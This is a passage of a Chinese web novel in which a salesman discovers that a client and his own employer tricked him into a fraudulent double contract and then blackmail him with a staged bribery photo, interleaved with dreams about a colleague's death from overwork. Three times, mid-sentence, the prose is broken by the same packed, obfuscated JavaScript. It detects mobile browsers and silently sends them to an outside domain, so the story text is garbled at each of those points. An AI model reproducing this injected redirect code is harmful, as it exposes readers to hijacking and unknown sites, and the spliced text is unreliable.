杜鸻有被安慰到,“那你的意思是,我记忆中的那串数字可能是真的?” 心理医生平静道:“这个我不能给你一个肯定的答案,只有你自己才能去确定这件事。” 杜鸻点头,心里终于松快了不少。 “鉴于你这次的情况,给你开个新的药吧,效果会比谷维素好。”心理医生开好方子后,交代道,“你现在的工作有没有年假或者是长一点的假期?” “有年假,但是很难请。”杜鸻实话实说。 现在这年头什么妖魔鬼怪都有,自主把员工的年假折算成钱的;用乱七八糟的借口打压员工一拖再拖的;让员工分散休息,甚至跟调休放在一起混淆视听的;更刑的就直接坦白了没有年假也没有年假补贴。 五花八门,除了正规的,没有一个真正为员工去考虑的。 心理医生建议道:“如果条件允许,你最好能连续地休息一段时间,好好地调整自己。如果有机会的话,可以去旅游,多走一走。” “好,谢谢。”杜鸻领药去了。 这次的药是杜鸻没见过的,他随手查了一下,这个药能治疗他无法控制的焦虑,但也有不少副作用,严重的甚至还会继续影响他的记忆。 影响他的记忆吗? 那他真的不会更焦虑吗? 杜鸻攥着装药的袋子,有点犹豫要不要换药。 最后他决定再试一个星期的谷维素片,如果还是没有什么效果,那就换药。 这一周,一切都很正常,马组长没有给他找新的麻烦,阳总那边拿货的速度也很稳定。 这段时间他的小徒弟开发了个新客户,初次合作效果还不错,但是后续跟进这一块报价总是压不下来。 “师父,这怎么办啊?”小徒弟那个样子看起来都快愁死了。 杜鸻让小徒弟调出了两人的聊天记录和拜访记录,长长地叹了口气。对方估计是找到了性价比更高的原料所以暂时放弃了和他们的合作。 现在行情不好,客户都讲究性价比。 “再去拜访一次。”杜鸻说,“你去约个时间,把我们公司恰好符合他们心意标准的产品质检报告带上。定价方面……我这边还有几次压价权限,匀你一次也行。” 小徒弟一听,差点就跪下了,“谢谢师父!我马上去!” 下午,杜鸻跟小徒弟一块去拜访。 他一听小徒弟报地址,顿时一愣。 如果他没记错的话,这客户现在就在阳总的会所里! 要不要这么巧? 8. 第 8 章 更巧的是,他们到的时候阳总也在。 这阳总正好在和小徒弟的客户聊天,看那样子相谈甚欢,十分火热。 “师父,那不是阳总么?”小徒弟不知道这是阳总的会所,所以惊讶。 但杜鸻估计,这小徒弟要是知道了这会所背后真正的老板,估计得更惊讶。 “……那就这么说定了啊。来了就别着急走了,我正好让人带你去试试我们这的项目。”阳总说着,招来了一个礼仪小姐,“你一会儿带胡总去转转,看胡总喜欢什么项目,就带他去体验体验。” 礼仪小姐点头说“是”,准备引着这胡总往里走。 小徒弟赶紧冲上去,“胡总!” 杜鸻心头一跳,心里暗怪,但面上却没说什么,还是走过去主动跟阳总打招呼,帮他这个小徒弟解了围。 小徒弟这才重新跟阳总打招呼。 阳总笑眯眯地,“小杜啊,今天怎么有空来我这?是……” “阳总,我今天正好带徒弟来拜访客户,没想到碰巧在这看到您了。还真是缘分。”杜鸻直接把阳总抛出来的话题岔开。 自从合同项目的事儿被有序推进下去后,阳总就再也没有提过这个会所的事,但他不觉得阳总真的能轻易放弃这件事。 他是这件事的知情者,甚至上次为了让他放心,阳总没带司机也没带秘书,亲自开车送他来的。而且之前跟他提了过了那么多次,真的会因为他一而再再而三的拒绝而轻易放弃吗? 不会。 阳总一向很难缠。 “原来是这样,”阳总脸上的笑意更深,“你们要拜访的客户就是胡总吧?正好巧了,胡总是我兄弟。这样,今天我做东,大家一起吃顿饭。胡总啊,这小杜是我一个弟弟,这是他的小徒弟,给我个面子,有什么咱们饭桌上谈。一顿饭谈不了,那就多给他们一点时间。” 胡总脸上也露出狡黠地笑容,“行,那就看在阳总的面子上,一起吃个饭!” 小徒弟既兴奋又有点紧张,“谢谢阳总,谢谢胡总。” 礼仪小姐领着他们往餐厅走。 阳总特意开了个包厢。 杜鸻和小徒弟缀在后面。 小徒弟紧张地问:“师父,我完全没想到今天会碰上阳总,我准备的拜访礼物根本不够啊,怎么办?” “没事。”杜鸻当然也没准备多余的拜访礼物。 碰到阳总是碰巧,所以没有就没有了吧。 这阳总虽然抠门,但也不会在这种时候为难人。 阳总是最后进门的。 进门之前,杜鸻已经让他的小徒弟把准备好的拜访礼物交给胡总了。 胡总也是自己来的,至少杜鸻现在都没有看到胡总身边带着秘书或者助理。 这让他觉得有点奇怪。 据他了解,这个胡总在公司里的级别也不低,而且他们公司虽然没有阳总所在的公司大,但这种单独出行会面的情况还是比较少的。而且胡总这个人可比阳总好面子得多。 东西就放在胡总的脚边。 阳总进来后,路过胡总身边,看了眼胡总脚边的东西,但什么都没说,直接把这件事略过了。 小徒弟肉眼可见地轻松下来。 杜鸻倒是很淡定。 虽然一开始的时候阳总说了有什么工作上的话也都可以直接放在饭桌上说,可真到了吃饭的时候,谁也没有主动去提合作的事儿。杜鸻依旧淡定地吃着饭,因为他早就料到了这种事情。之前说的不过是阳总的场面话罢了。 倒是小徒弟着急得不行,好几次敬酒的时候想要跟胡总提一提合作上的事儿都被胡总用别的话给挡了回去。 饭后,阳总领着他们去茶室喝茶。 “怎么办啊师父,这胡总他不听我说啊。”小徒弟急得不行,都快原地跺脚了。 杜鸻沉声道:“冷静一点。饭桌上大部分的生意都谈不成,这很正常。一会去的茶室才是真正谈事的地方。” 小徒弟半信半疑,“真的吗?” “安心。”杜鸻拍了拍小徒弟的后背,“就算谈不成也没事。别太较真。” 小徒弟震惊地看着杜鸻,“师父你这么教我真的好吗?” 杜鸻笑而不语。 他倒不是非得这么教人,只是他觉得这个胡总也不是什么善茬。他们现在还不知道这个胡总和阳总关系好到了什么地步,是真的只是甲乙方关系还是有更深层次的私下关系。 如果有那就麻烦了,毕竟只有臭味相投的人才能玩在一块儿。 那他这小徒弟收的磋磨就多了。 进了茶室后没坐一会,阳总主动提出来先走,“我跟小杜有点事儿谈,你们谈你们的。胡总啊,看在我的面子上可别太为难人家。” 胡总:“放心吧阳总,我办事儿你还不放心啊?” 杜鸻起身。 小徒弟拽了他一下。 杜鸻朝胡总点点头,“好好谈。” 小徒弟点头。 “胡总,失陪了。”杜鸻说完就离开了茶室。 阳总就在门口等着。 “阳总。”杜鸻叫了一声。 阳总上下打量着杜鸻,“怎么样啊最近?这段时间我都忙着对货,没来得及问问你的情况。上次回去,淋雨了吧?后来怎么样?” 杜鸻觉得阳总这话头开得奇怪,但也没多想,“挺好的。多谢阳总关心。还不知道这批货的质量您这边满不满意?” “满意啊,当然满意了,你们公司的原料质量我一直都是很信任的。来,带你看个东西。”阳总神秘兮兮地走在前面。 杜鸻跟在后面。 这个会所后面还有个二期,目前已经封顶了。这个二期的楼没有一期的高,现在也基本没有工人了,整个场地安安静静的。 杜鸻打量了一下这个二期,难怪他上次来的时候没有听到动静,看这个样子,怕是他上次来之前就已经封顶了。 这个地方很隐秘,如果不是这次阳总带他来,他还真的发现不了这里边还藏着这么一个天地。 “二次施工完了之后就开始装修了。”阳总大手一挥,“怎么样,看着还行吧?” 杜鸻点头,“挺不错的。” “这二期省了不少钱,也多亏老弟你啊。”阳总感慨道。 多亏他?! 多亏什么他。 他可没掺和到这个项目里。 “阳总您这是什么意思?我没听明白。” “哦,你们那马组长没跟你说?” “说什么?” “其实也没什么。”阳总主动提到了那一式四份的合同,“你们公司要面上的账,我呢,寻的是低成本,正好互惠互利。那天你给我送来的那份合同你应该还没看仔细吧?单价核没核算过?” 一般情况下,合同里会规定好单价、吨数、总价以及算法备注,那天他看了单价,看了吨数也看了总价,虽说没有核算,但应该不会有什么问题。 那是法务那边过过手的。 后边备注里还有一句随行就市。 单价浮动也是合理的。 先不说单价。 就说那句“互惠互利”是什么意思? “什么叫做互惠互利?我怎么不知道这件事?”杜鸻沉着脸问。 阳总一副不在乎的样子道:“那你现在知道了。小杜啊,你跟我合作了这么久也应该知道一些事情了。生意场上就是这个样子,有时候你给我一点利,我还你一点。而且有些事情不需要说得那么明白,你情我愿的事情,还能得到好处,何乐而不为呢?” 杜鸻脸色铁青。 怪不得那天在电梯里的时候阳总会做那个手势。 原来早就已经想好了。 他那天送过去的也根本不是什么落下的正本,那是另一份早就已经签好了的合同,有金额的那一页已经被改动过了。 怪不得,怪不得。 所以根本不是他的记忆出了什么问题,是因为从一开始他们这些人本来就打算做阴阳合同,但是他一开始就拒绝了,后面怕他坏事才做了这么一套,把他诓进去,让他以为是自己的脑子真出问题了。 都!他!X!是!假!的! “阳总,您说的对。”杜鸻气得咬牙切齿,头晕目眩。 他摸向口袋,拿出自己常揣在兜里的药瓶,吃了两片谷维素片。 效果没那么快显现,但至少能给他一点心理安慰。 阳总转身:“所以啊小杜,之后的事情,还得你来做啊。你看我这二期还得靠你啊。做好了有分成,不用你出一分钱,这种空手套白狼的事儿不好么?也就是看在你这人有耐性,沉得住,我才把这么好的项目介绍给你。你老大不小了,光靠你们公司的那一点提成有什么用?还没买房吧?年轻人,总得趁着年轻的时候多试试几条路子。” 杜鸻听得气血翻涌,但他不能吭声。 他今天没有录音他也没有别的证据,合同的事儿做得太天衣无缝了,就连他自己都差点全信了。 阳总和他背后的公司沆瀣一气,而他只有一个人,怎么斗得过? 只能抽身。 尽可能地抽身。 回去之后必须在最短的时间内把阳总的这个项目交接出去,至于他小徒弟那边…… 最好今天谈不成。 否则他的小徒弟也得跟他走一样的路子。 再见到他那小徒弟的时候,杜鸻心里一沉,知道他的祈愿落空了。看他小徒弟高兴的那个样子,怕是已经谈成了。 “师父!胡总那边答应了!” 果然。 杜鸻收敛情绪,“恭喜。” “多亏了师父!如果不是因为阳总恰好在这,你又陪着我一起过来,估计还不会那么顺利。”小徒弟挠挠头,“不过还是得借一下师父的压价权限。胡总那边说,他要的报价最多只愿意比阳总的高那么一点。” 小徒弟伸手比了个二。 杜鸻微眯起眼睛,“两个点?” 小徒弟摇头,“二十个点。” “……” 杜鸻都有点想拆开他这小徒弟的脑子看看里边到底装着什么了,“这用不上我的压价权限。这个价格和市场价差不多了。” 小徒弟兴奋道:“真的吗!?” “当然。”杜鸻没有说谎,也不知道他这个小徒弟到底给这个胡总报了多少,这个胡总竟然还愿意比阳总的价格多二十个点。 如果按照这次阳总采购的价格来算的话,这二十个点已经轻轻松松地超过当前的市场价了。 不管怎么样,这也是他这个小徒弟的运气。 他就没这个运气了。 回到公司后,趁着没事,他一边督促小徒弟把合同弄出来,一边把原始的合同电子档找出来。他的电脑是设置了密码的,但公司也有监控,虽然不知道利用监控破解密码的可能性有多大,至少也存在一定可能。 他当然有备份的习惯,可现在他把自己之前所有存备份的U盘和邮箱都找了一遍,没有找到任何记录。 U盘是不离身的,这点他可以肯定。 至于邮箱…… 邮箱用的是工作邮箱,主打一个方便,但最权限在他们公司的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974447|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人事部那。有了最高权限,完全可以在不输入他个人重新设定的密码下进入他的邮箱。 删掉备份里的文件也是轻轻松松的事。 最后一条路子就是查监控了。 杜鸻捏紧了拳头,打算找个理由去找人事调监控的时候,阳总发来了一条信息。 他没有防备,直接在电脑屏幕上打开了那个信息。 一张高清的照片出现在屏幕上。 他猛地关掉聊天界面,心脏怦怦直跳。 这个阳总! 那张照片里,他正好接过了阳总给他的红包。 不,不。 不能说是正好接过,因为照片里只有他一个人拿着红包,阳总的手端正地放在桌面上,没有任何往前伸的迹象。只有他自己知道,这个红包是阳总给他递的。 可照片依旧能有另一个解释——他明目张胆地给阳总送红包! 突然,一个熟悉的画面闪进他的脑海。 他记起来那个阳总给他递红包的梦境的后半段是什么了。 是一条带着威胁的信息,没有任何文字,只有照片——他“贿赂”阳总时各种角度的画面! 和现在大差不差。 可他当时没想起来这么一段。 现在事情真的发生了,他才突然意识到他的梦早就给了他答案。 在那之前,他梦到了他因为和阳总的合作戴上了银手铐。他当时只觉得那是他被闹魔怔了,却怎么都没想到和他后边的梦对上了。 他突然卸力,重重地靠在椅背上。 不管那个结局会不会发生,他必须尽早地从这件事里脱身出来。 这就是个巨大的圈套,而且是除了他之外,其他人都清清楚楚的圈套! 马组长,他们的法务,甚至是他们公司的老板。 有一个算一个。 杜鸻恍惚了一下午。 最后是严潘过来拍了拍他,他才意识到已经下班了。 “怎么了今天,又魂不守舍的?听说你那小徒弟不是谈得挺好么,下午都在准备合同了,你是在担心他还是在担心你自己?” 严潘后半句话狠狠地戳了杜鸻一下。 杜鸻抬头,眼神阴郁地看了眼严潘。 严潘吓了一跳,“你干嘛你?我就问你一句,你这什么表情?” “抱歉,我就是太累了。”杜鸻狠狠地抹了把脸,“你先回去吧,我一会走。” “行,那我走了啊。”严潘很快就溜了。 他的小徒弟还没走,还在弄那该死的合同。 他懒得继续盯着,但走之前还是忍不住提醒一句,“最终合同确定好后记得多做几个备份,工作留痕,拍照或者是截图的随便。总之,一定要留好记录,听见没有?” 小徒弟认真点头,“放心吧师父。不过你没事儿吗?你这脸色看起来不太好。” “没事。”杜鸻强颜欢笑。 他没回家,哪个家都没回。 他去了趟世外酒馆。 破天荒的,今天酒馆里没什么人,至少他到的时候,里边就只有调酒师和零零散散的三两个客人。 调酒师一看见他,“哟”了一声,“这次还是喝啤酒?” 杜鸻没想到调酒师还记得他,毕竟他就只来过那一次。估摸着是他头一次来这儿就点的啤酒,还是最常见的那一款,太让人印象深刻了。 “不了,”杜鸻往吧台前面的椅子一坐,“我对这些不在行,也不知道什么好喝,你给我推荐一个吧。” “行啊。”调酒师观察了一下杜鸻的脸色,从操作台上选了一些东西,“我姓望,上次还没做过自我介绍是吧?一般大家都叫我‘望望’啊,‘望哥’啊随便。反正只要我能知道是在叫我的都行。” “原来你就是老板啊?”杜鸻说完才发现自己太惊讶了,赶紧解释,“不好意思望哥,我只是没想到这家小酒馆的老板竟然这么年轻。” 望老板熟练地转着调酒器,“没事,来的人都这么说。” 不多会儿,一杯橙色半透明的小杯酒就放到了杜鸻面前。 上面还有一片薄而透亮的苦橙片。 “试试。” 杜鸻看着眼前的酒,拿起来抿了一口。 这杯酒入口就是果香,随后才是高度酒才有的香味气,带着一点微苦的口感,涩而麻,再品的时候又能感觉到一点来自清水的甜。 口感很丰富的一杯酒。 杜鸻以前见都没见过,更别说喝过了,“这杯酒叫什么名字?” 望老板想了想,“做的时候想的是‘信仰’,但是现在想想好像又太宽泛了。你觉得叫什么合适?” 杜鸻愣了一下,“这酒原来没名字吗?” “这酒原来就没有。”望老板好笑道,“这还是你给我的灵感。我第一次见你就觉得你这人挺有意思的。哪儿有意思我也说不上。反正这酒就是你给的灵感,你就给起个名字吧,以后你来,这酒管够,免费不收你钱。” 杜鸻动了动嘴,最后还是没跟望老板客气。 他晃动酒杯,看着细细的光线在酒里折绕,随着他的晃动而上下变化。 “那就叫抽丝吧。” 只有耐心地抽丝剥茧,才能品出这杯酒真正的味道。 或许他也一样。 他现在的思绪就像是一个凌乱的线团,得先找到头,再一点一点地抽出来,才能把所有的线捋顺。 处处都是陷阱的工作,乱七八糟的记忆…… 没有一点是好的。 “抽丝?”望老板品了品,拍板定案,“好名字!” 9. 第 9 章 杜鸻喝得有点多。 抽丝的度数不高但是很容易让人上头。他离开小酒馆的时候脚步漂浮,但是脑子无比兴奋。如果不是他现在确实没什么力气了,他非得跑步回家。 小酒馆就在公司附近,四舍五入就在他租住的房子附近。他走路回到小区,还在楼下逗了会儿猫才上楼。 回到家,他简单地冲了个澡后,坐在床上看着没有星星的夜空。今天晚上的天气不太好,云层很厚,不仅遮住了星星,连月光都没有一丝。 他现在的思绪很跳跃,一下是他刚毕业的时候,一下是前同事的葬礼,一下是他转行刚进入这个公司的第一天,一下是第一次碰到阳总。 然后脑子里闪过很多个人的脸,父母的,同事的,还有各个年龄段的同学的。最后记忆都定格在他和那几个已经不在了的前同事的交集上。 里面有跟他关系一般的,也有跟他关系不错的。 他又忽然想到了自己在听到他们的死讯时的心情。 先是平静,接着是难过,铺天盖地的难过,再然后又重新回归平静。接着他开始想什么呢?他在想他的这些同事们突然离世的原因。其实医院和他们的家人以及他们离世前的遭遇都给出了最标准的答案。 过劳,突发心梗有或者是心脏骤停。 还有一个是突发性的脑溢血,发现的时候已经没救了。 他查过,从发病到死亡可能就短短几分钟的时间。 他又开始猜,在这短短的几分钟里他们有意识吗?真的会看见另一个世界的亲人吗?还是突然会遗憾,又或者根本意识不到这是死亡预警。 他们会不会以为自己只是睡了一觉。 “会吧。”杜鸻突然自言自语地给了自己一个答案。 突然,他回头看了眼桌上的电子钟。 23:00 一个非常标准的数字。 下一秒。 23:01 跳得真快。 他的视线从电子钟上移开,看向旁边放着的塑料袋。 袋子里装的是医生开的新药,因为他一直觉得自己还没到要换药的地步,所以一直放着没吃。 他现在也不打算吃。 毕竟他心里的疑虑已经有了答案。至少在合同规定的金额和吨数上,他没有记错,那不是他的问题,只是有心人给他下的一个套而已。。虽然他很不愿意承认,但是这些人确确实实找到了他软肋和漏洞。 这次就算他们赢了。 临睡前,杜鸻把合同的事用电脑的记事本写好,把那天他离开阳总公司后录的音、年初五他和阳总在餐厅里吃饭时他对红包拍的照都做了存档,甚至截图证明了拍摄的时间。最后他把这些做成了隐私文件,还设置了密码,除了他之外,不会有人能再从他的电脑里偷去。 酒精代谢得差不多了,脑子也终于消停下来。 他躺下了,没一会儿就沉沉地睡了过去。 “杜鸻,别睡了我靠,帮我看看这个到底哪儿有问题?我看得眼都花了也没看出什么问题啊。一跑就报错。” 杜鸻睁开眼,抻了个懒腰,歪着身子凑到旁边卢运的电脑屏幕前,上下看了一下,“这儿,大小写错了。” 卢运凑近看了眼,“卧槽!服了。” 卢运把大小写改完后,代码终于跑顺了。 杜鸻开始查自己这个部分的Bug。 最近他们公司代开发的一款软件要做升级,所有程序员都在这加班加点。本来代码都是套好的,只要按照运营他们开发讨论的结果来做对应的修改和升级就行,偏偏新版上线的时候发现了巨大的营销Bug,现在所有人都在加班加点地连夜修改,把漏洞补上的同时再想办法从使用者那把多余的消费券收回来。 这又是个巨大的工程。 他们已经熬了两宿了。 杜鸻还好,他每周都有固定的锻炼时间,加上从小到大养成的早睡早起的习惯,只要不加班,他的作息基本上是正常。虽然一整宿地做梦会消耗他的一些精气神,但他也比其他同事的精神要好得多。 卢运又去给自己冲了一杯咖啡。 “几点了还喝啊?”杜鸻问了一句,“别喝了,喝点水得了,困了就睡会儿,这玩意儿改不完的。” “不行啊。”卢运说,“我一个星期没回家了,我老婆说我明晚要还是不回家就不用回去了。靠,我他妈也不想啊。不过没办法,我老婆也辛苦,一个人带孩子,我不得回去看看?” 杜鸻抬手想要拍拍卢运的肩膀,一股异样的感觉涌上来,他又把手放下了,“中国好男人。” “去你的。”卢运笑着说。 所有工作第二天中午就全都结束了。 新版本重新上线后已经没问题了。 部门总监给他们准了三天假。 “昨天多亏你了兄弟。”卢运拍了他一下,“回来请你吃饭。” 杜鸻看着卢运,心底闪过一丝说不出的感觉。他顿了顿,笑着反拍了同事一下,“多大事,回去好好休息,别熬了。” “知道知道。”卢运拿着自己的东西,第一个溜的。 “卢运那小子跑挺快啊,总监都还没走呢。” “他要再不回去他媳妇儿就得带着娃跑了,换你你不急?” “没有吧,那么夸张?” “可不夸张,他都不是本市的,他老婆孩子在隔壁市呢。” “那也是,一个星期耗在这,谁老婆孩子都得疯。” “那可不一定,反正我老婆美着呢,我回不回家她根本不管。” “那你完了兄弟。” 杜鸻也走了。 他也得回家,上车前他看了眼手机上的时间。 11:01 上车后,时间立马跳了。 11:02 只要人不在公司,每一分钟都过得贼快。 第二天一大早,杜鸻还没睡醒就接到了一个同事的电话。 他看见备注的时候心里一咯噔,第一反应是软件又出问题了,得回去继续加班。 “杜鸻出事儿了!” 杜鸻听着声已经起来了,只是还没等他问是不是软件的事,就听电话那头的人说:“卢运没了!” 杜鸻立马就清醒了,“什么叫没了?” “就是没了,你赶紧来公司,我还得给其他人打电话,一会都去一趟。” 电话匆忙地挂断了。 周遭安静下来后没两秒,闹铃突然响了。 电子钟上显示着现在的时间。 8:00 这是他平时起床的时间。 他的意识回笼,大脑终于反应过来了。 卢运没了。 卢运死了。 卢运的家里死气沉沉。 杜鸻他们一行人赶到的时候,卢运的尸体已经送到殡仪馆了。这是他们第二次来卢运家,第一次是卢运结婚的时候。 卢运是两年前结的婚,和他老婆结婚刚一年就有了一个可爱的孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14974448|161369||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。但是卢运的工作不在他家本地,因为本地的工资不高,而且机会也不多,这也是为什么卢运一直都跟他老婆分居两地,只有周末或者休息的时候才回来一趟。 “嫂子,卢运怎么没的?”来的人里有人问。 小嫂子眼睛哭得通红,孩子是老人在带着,已经被哄睡了。 小嫂子摇头,“昨天他回来的时候还好好的,晚上一起吃了饭,还一块带,带着孩子去散步了。今天早上我起来,问问他早餐吃什么的时候,一,一摸……” 小嫂子捂着嘴,压着声音哭。 “有没有叫医生来?医生怎么说?” 小嫂子哭得上气不接下气,一个字都说不出来。 众人面面相觑,他们和卢运都是同一批进公司的,年纪差不多大,都是第一次遇到这种事。大家来来回回也只说得出“节哀”两个字,再多的也不知道说什么的好。 这时候劝什么都不合适。 所有人在卢运家里忙了两天,帮着处理了卢运的后事。 杜鸻和所有人一样,麻木地帮忙着,对卢运突然没了这件事依旧没什么实感。直到他们在告别厅参加了卢运的葬礼,看到了卢运躺在透明棺里,宛如睡着的样子,他们才意识到,昨天还在跟他们并肩作战的同事已经走了。 “我昨天,”杜鸻低声说了几个字就停了。 旁边的同事听见了,问他,“昨天什么?” 他摇头,“没什么。” 同事:“不是,你话别说到一半啊。” 他看着逐渐空荡的告别厅,低声说:“昨天看着卢哥的时候心里总有一种说不出来的感觉,现在想想,我昨天可能已经预感到卢哥会出事了。” 同事一脸惊恐,“杜鸻,这话不能乱说啊。” 杜鸻知道同事不信,毕竟感觉这种东西太缥缈了,听起来就很不靠谱。他也没解释,毕竟他也不知道怎么解释这种感觉。 他们从卢运家回来的时候,三天假已经结束了。 大家各回各家换了衣服,下午才去的公司。 整个开发部死气沉沉,没人有心思工作。 杜鸻的感触最深。卢运的工位就在他旁边,现在右边位置空荡荡的,何止一点的不习惯。 总监来到办公室,“杜鸻,把卢运的东西收一收,一会帮他寄回去。” “总监,卢运才刚走。” “是啊总监,他才刚走,就这么收拾他的东西……” “干什么?都要造反啊?东西留着卢运就能回来吗?”总监沉这张脸,“杜鸻,收拾啊,还愣着干什么?” 杜鸻去人事部领了个快递用的纸箱子,把卢运的东西一件件地规整好装到箱子里。 卢运几乎把公司当家了,留下来的东西很多,每一件都很小,但是每一件都很重。 杜鸻收拾的时候没有注意到自己屏息了,放完最后一样东西的时候他才发现憋气憋得心口疼。 一阵突兀的铃声打破了办公室的沉闷。 杜鸻掏出手机,眼前蓦地一黑,再睁眼的时候,他竟然都没反应过来自己在哪儿。 他急促地喘了几口气。 手机铃声还在响。 他靠着肌肉记忆摸到了手机,刚一接听,电话那头的吼声差点把他的魂吓飞。 “杜鸻你死哪去了!怎么,不打算干了是吧?!” 杜鸻一骨碌坐起来。 好赖不赖,电子钟显示着11:03分。 他微眯了下眼,晃了下神。 10. 第 10 章 “23:00” “23:01” “11:01” “11:02” “11:03” 这几个时间在杜鸻的脑子里交替出现。如果只是出现其中一个,甚至只是出现了其中一次的话,杜鸻都不会太在意。可偏偏这几个时间出现得太连贯了,连贯到让人生疑。 “想什么呢,魂不守舍的。”严潘捧着手机,一边玩游戏一边滑动椅子挪到杜鸻边上,“你早上怎么回事儿?” 杜鸻回神,“睡过头了。” 严潘震惊,“我以为你这个经常做梦的醒得都早,没想到还能睡过头。庆幸吧,今天的老马自己都来得晚,根本就不知道你前面两个小时都不在的事。” “他也迟到了?” “对啊。” “他为什么迟到?” “好笑的就是这,他一来就嘀嘀咕咕地说自己去见客户去了,客户耽误了他时间。但是根本没人问他,笑死。估摸着跟你一样,睡过头了。” 杜鸻笑,这确实可能是马组长的风格。 马组长这人就是这样,有时候为了撇清自己的责任会先演一出戏,偏偏他演戏的时候还特别能挑对时候,还真就让他一次次地蒙混过关了。 午休后,他们整个组都死气沉沉,连带着他的小徒弟都没什么干劲。 杜鸻瞥了他的小徒弟一眼,“怎么,胡总那不顺利?” 小徒弟说:“顺利啊。” 杜鸻:“合同走完了?” 小徒弟:“还在等他们那边审核。” 审合同这种事一般时间确实不会短,尤其是那种大公司,审合同方面会比较仔细,接着再来一波拉扯,最后才肯签合同。 杜鸻之前也经历过这些,知道这是他小徒弟必须经历的,抬手想要拍拍他小徒弟的肩膀表示安慰,但脑子里突然响起云大师说的那句“人身上有三把火”的话,又把手放下了。 动作和昨天在梦里梦到的如出一辙。 杜鸻皱了下眉。 小徒弟转头,“怎么了师父?” “没什么,忙你的。”杜鸻敷衍完他的小徒弟,挪回去打开网页,搜索词条——经常被人拍肩会怎么样? 词条里出现的内容很杂乱,他翻了好几页才看到一条符合自己预期的。他点进去,是一条自媒体号的文章,文章看起来没什么水花,内容也不长,通篇的意思是——经常被人拍肩的要小心,小心对方拍走你的运气。 拍走运气? 他最近好像确实挺倒霉的。 不,都不是“挺”倒霉了,是“很”倒霉。 网页的右边突然跳出一个弹框。 【改运小助理:您好,请问您要咨询什么问题呢?师父可以提供改运的方法,确认需要的话可以点击获取师父的联系方式。(点击获取联系方式)】 这种小弹框在很多咨询类的网页都有。 杜鸻没想到只是一篇普通的自媒体文章而已,竟然也开发了这个功能。 他想也不想地就点了“×”。 下一秒,弹框又弹了出来,这次换了一句话。 【改运小助理:您好,看到您这边有改运的需求呢。近期是不是觉得诸事不顺?没关系,您的问题师父都能帮您解决。不准不收费的哦!(点击获取联系方式)】 “……”什么病毒式营销。 杜鸻想要再点“×”,但鼠标怎么都控制不住似的,竟然点到了那行蓝色的字上。 联系方式跳了出来。 杜鸻记忆不行,但瞬时记忆还不错。 他第一时间就觉得这个联系方式很眼熟。等他反应过来的时候,已经把这个联系方式复制好了。 “……” 杜鸻转到微信把人加上了。 这个大师的头像看起来神神叨叨的,但一看就不靠谱。 加上人后他也没主动去问,就让这个所谓的大师安安静静地躺在他的列表里。大师也没来骚扰他。 下午临下班的时候,久违的初中班群突然跳出消息。 冒头的是当年在班里最闹腾的那位,叫孙勇。据说这人初中毕业后就去找了个技校。他们都还在读大学的时候,孙勇就已经步入社会开始赚钱了。有一回初中聚会,这孙勇就在聚会上大发名片,职位已经混到了经理。 近几年销声匿迹了,大家都以为他发大财去了,已经忘了他们这些初中同学了的时候,他又出现了。 【孙勇:今晚啊,大家出来聚一聚,都多久没见了?废话不多说,今晚能来几个来几个,都给个面子。我发地址啊。】 下边顿时欢呼一片,一口一个“孙总”的喊得不亦乐乎。 杜鸻没这个兴趣去凑热闹,他一会还打算去一趟世外小酒馆。 虽然昨天那杯酒让他睡过了头,但那酒还真挺让人上头的。 孙勇的对话框突然弹出来。 【孙勇:杜鸻,你在本市的吧?咱都多久没见了,今晚得来啊。】 杜鸻想也不想地拒绝。 【杜鸻:抱歉,今晚加班。】 【孙勇:哄谁呢?你不早就不干码农了吗?别以为我不知道你是懒不想来啊。赶紧的来。我都直接私聊你了,就只私聊了你啊,你不能不给这个面子吧?】 “……” 杜鸻拒绝了第二遍。 【孙勇:今晚是真找你有事。我说今晚聚一下其实就是个幌子,我这不是怕我自己约你的话你不出来么?这么多人一块来,你总能来吧?】 【杜鸻:到底什么事?】 【孙勇:就是有事,见面了再说。今晚七点啊。】 孙勇又甩了一遍地址。 杜鸻其实不太喜欢孙勇,以前上学的时候也没怎么和他有过交集。他也确实想不出来这孙勇能有什么事找他。 没过一会又有一个人来给孙勇当说客,但比孙勇说得更详细一点。大概是孙勇最近在做一个项目,要跟一个姓阳的老板合作,但是那个老板不太看得上他们的公司,所以事情一直都耽搁着。 孙勇不知道从哪打听到了杜鸻和这个阳姓老板的关系不错,所以希望他这个老同学能帮个忙,之后会给个茶水费表示一下。 【何方:同学一场,来呗,帮不帮得上的另外说,要是帮成了还有茶水费。这年头谁嫌钱多啊是吧?】 【杜鸻:你多得对。】 下班后,杜鸻直接奔往世外小酒馆。 望老板看见他,“怎么,今天不顺心?” 杜鸻坐在吧台上,“这么明显?” “也不算,我眼毒吧。”望老板刚调好一杯酒,“来一杯抽丝还是怎么的?” 杜鸻今天就是奔着抽丝来的,就对望老板说:“嗯,来一杯抽丝吧。” 他刚点完,又来了几个人,和他一样,也是点抽丝的。 抽丝的名字已经被加 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 